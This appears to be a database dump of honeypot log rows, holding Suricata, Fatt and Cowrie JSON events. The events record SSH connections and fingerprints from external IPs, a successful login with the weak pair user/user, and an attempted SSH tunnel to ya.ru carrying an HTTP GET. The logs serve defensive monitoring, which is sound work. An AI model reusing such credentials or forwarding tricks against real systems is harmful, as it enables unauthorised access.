"AAADjAoUwTw/BXuHakszCqhO5aJKWgAAAIxjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAcWFlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYyxhcmNmb3VyLDNkZXMtY2JjAAAAcWFlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYyxhcmNmb3VyLDNkZXMtY2JjAAAAUGhtYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTIsaG1hYy1zaGEyLTI1NixobWFjLXNoYTEsaG1hYy1zaGExLTk2AAAAUGhtYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTIsaG1hYy1zaGEyLTI1NixobWFjLXNoYTEsaG1hYy1zaGExLTk2AAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAACPc7X08TP+D0eq", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36326, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:24:27.408011Z", "@timestamp": "2021-09-20T11:24:27.408Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\n..<?.{.jK3\\n.N..JZ....curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519...qaes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc...qaes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none..............s...3..G."}}	1	\N	\N	alert	\N	\N
29277	5.188.62.250	109.199.241.180	Fatt	2021-09-20 14:24:27.408011+03	2021-09-20 14:30:03.922525+03	{"_id": "SQbzAnwBvYTbRNuEPTSp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.250", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "fb9ea37f5a326a02ad94bd4e431b024c", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 36326, "dest_port": 22, "timestamp": "2021-09-20T11:24:27.408011", "@timestamp": "2021-09-20T11:24:27.408Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29278	5.188.62.250	109.199.241.180	Cowrie	2021-09-20 14:24:27.681623+03	2021-09-20 14:30:03.924523+03	{"_id": "TwbzAnwBvYTbRNuEPjSs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.250", "dest_ip": "ya.ru", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to ya.ru:80 from 0.0.0.0:0", "session": "c6df46b733a0", "@version": "1", "src_port": 0, "dest_port": 80, "timestamp": "2021-09-20T11:24:27.681623Z", "@timestamp": "2021-09-20T11:24:27.681Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
29279	5.188.62.250	109.199.241.180	Cowrie	2021-09-20 14:24:27.408218+03	2021-09-20 14:30:03.925524+03	{"_id": "UwbzAnwBvYTbRNuEPjSs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "arcfour", "3des-cbc"], "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "fb9ea37f5a326a02ad94bd4e431b024c", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.250", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: fb9ea37f5a326a02ad94bd4e431b024c", "session": "c6df46b733a0", "@version": "1", "timestamp": "2021-09-20T11:24:27.408218Z", "@timestamp": "2021-09-20T11:24:27.408Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
29280	5.188.62.250	109.199.241.180	Cowrie	2021-09-20 14:24:27.616932+03	2021-09-20 14:30:03.926524+03	{"_id": "VAbzAnwBvYTbRNuEPjSs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.250", "eventid": "cowrie.login.success", "message": "login attempt [user/user] succeeded", "session": "c6df46b733a0", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:24:27.616932Z", "@timestamp": "2021-09-20T11:24:27.616Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
29282	5.188.62.250	109.199.241.180	Suricata	2021-09-20 14:24:27.407903+03	2021-09-20 14:30:03.929523+03	{"_id": "RwbzAnwBvYTbRNuEPDR1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.250", "dest_ip": "192.168.20.116", "flow_id": 236611617645367, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36326, "dest_port": 22, "timestamp": "2021-09-20T11:24:27.407903Z", "@timestamp": "2021-09-20T11:24:27.407Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
29283	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:24:24.00094+03	2021-09-20 14:30:03.930523+03	{"_id": "RQbzAnwBvYTbRNuEPDR1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:23:22.804089+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 699231130764537, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 53995, "timestamp": "2021-09-20T11:24:24.000940Z", "@timestamp": "2021-09-20T11:24:24.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
29284	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:24:27.348358+03	2021-09-20 14:30:03.931524+03	{"_id": "SAbzAnwBvYTbRNuEPTSp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.250", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36326, "timestamp": "2021-09-20T11:24:27.348358", "@timestamp": "2021-09-20T11:24:27.348Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29285	5.188.62.250	109.199.241.180	Cowrie	2021-09-20 14:24:27.347069+03	2021-09-20 14:30:03.932523+03	{"_id": "UgbzAnwBvYTbRNuEPjSs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.250", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.250:36326 (192.168.176.2:22) [session: c6df46b733a0]", "session": "c6df46b733a0", "@version": "1", "protocol": "ssh", "src_port": 36326, "dest_port": 22, "timestamp": "2021-09-20T11:24:27.347069Z", "@timestamp": "2021-09-20T11:24:27.347Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
29286	5.188.62.250	109.199.241.180	Cowrie	2021-09-20 14:24:27.744629+03	2021-09-20 14:30:03.934524+03	{"_id": "UAbzAnwBvYTbRNuEPjSs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 0, "data": "b'GET / HTTP/1.0\\\\r\\\\n\\\\r\\\\n'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.250", "dest_ip": "ya.ru", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 0 to ya.ru:80 with data b'GET / HTTP/1.0\\\\r\\\\n\\\\r\\\\n'", "session": "c6df46b733a0", "@version": "1", "dest_port": 80, "timestamp": "2021-09-20T11:24:27.744629Z", "@timestamp": "2021-09-20T11:24:27.744Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
29288	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:24:34.950453+03	2021-09-20 14:30:03.936523+03	{"_id": "XQbzAnwBvYTbRNuEWjQG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 110.137.195.172:29311 (192.168.176.2:22) [session: aeccede0b4a6]", "session": "aeccede0b4a6", "@version": "1", "protocol": "ssh", "src_port": 29311, "dest_port": 22, "timestamp": "2021-09-20T11:24:34.950453Z", "@timestamp": "2021-09-20T11:24:34.950Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
29289	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:24:34.953835+03	2021-09-20 14:30:03.938523+03	{"_id": "XgbzAnwBvYTbRNuEWjQG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "aeccede0b4a6", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:24:34.953835Z", "@timestamp": "2021-09-20T11:24:34.953Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
29290	110.137.195.172	109.199.241.180	Suricata	2021-09-20 14:24:35.159042+03	2021-09-20 14:30:03.939524+03	{"_id": "YQbzAnwBvYTbRNuEWzS5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "proto": "TCP", "src_ip": "110.137.195.172", "dest_ip": "192.168.20.116", "flow_id": 610353229749047, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 29311, "dest_port": 22, "timestamp": "2021-09-20T11:24:35.159042Z", "@timestamp": "2021-09-20T11:24:35.159Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
29291	110.137.195.172	109.199.241.180	Fatt	2021-09-20 14:24:35.159134+03	2021-09-20 14:30:03.940524+03	{"_id": "YgbzAnwBvYTbRNuEXDTs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "src_ip": "110.137.195.172", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 29311, "dest_port": 22, "timestamp": "2021-09-20T11:24:35.159134", "@timestamp": "2021-09-20T11:24:35.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29292	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:24:35.159723+03	2021-09-20 14:30:03.941523+03	{"_id": "ZAbzAnwBvYTbRNuEXTTv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "aeccede0b4a6", "@version": "1", "timestamp": "2021-09-20T11:24:35.159723Z", "@timestamp": "2021-09-20T11:24:35.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
